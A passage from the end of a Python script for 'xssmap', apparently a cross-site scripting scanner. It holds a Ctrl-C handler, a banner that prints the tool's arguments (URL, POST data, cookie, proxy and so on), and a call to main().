return
# ctrl 信号捕获函数
def exit_gracefully(signum, frame):
signal.signal(signal.SIGINT, original_sigint)
try:
raw_input("\n\033[1;34;8m[!] pause! Press Enter to continue > \033[0m")
except KeyboardInterrupt:
print("\n\033[1;34;8m[!] Exiting... \033[0m")
time.sleep(0.3)
print("\n\033[1;34;8m[!] GoodBye! \033[0m")
os._exit(0)
# restore the exit gracefully handler here
signal.signal(signal.SIGINT, exit_gracefully)
if __name__ == "__main__":
args = argsparse().args()
print(
"======================================================================================\n"
"xssmap v0.1.2 by Jewel591\n"
"About Me: https://www.github.com/jewel591\n"
# "update time: 20200730\n"
"======================================================================================\n"
" Url: ", " ".ljust(15), args.url, "\n"
" Post DATA: ", " ".ljust(15), args.postdata, "\n"
" Parameter: ", " ".rjust(15), args.parameter, "\n"
" Cookie: ", " ".rjust(15), args.cookie, "\n"
" UserAgent: ", " ".rjust(15), args.useragent, "\n"
" Timeout: ", " ".rjust(15), args.timeout, "\n"
" Verbose: ", " ".rjust(15), args.verbose, "\n"
" Proxy: ", " ".rjust(15), args.proxy, "\n"
"======================================================================================")
# print("\n[*] starting @ ", time.strftime("%H:%M:%S /%Y-%m-%d/\n"))
# time.strftime("%Y-%m-%d /%H:%M:%S/", time.localtime())
original_sigint = signal.getsignal(signal.SIGINT)
signal.signal(signal.SIGINT, exit_gracefully)
main()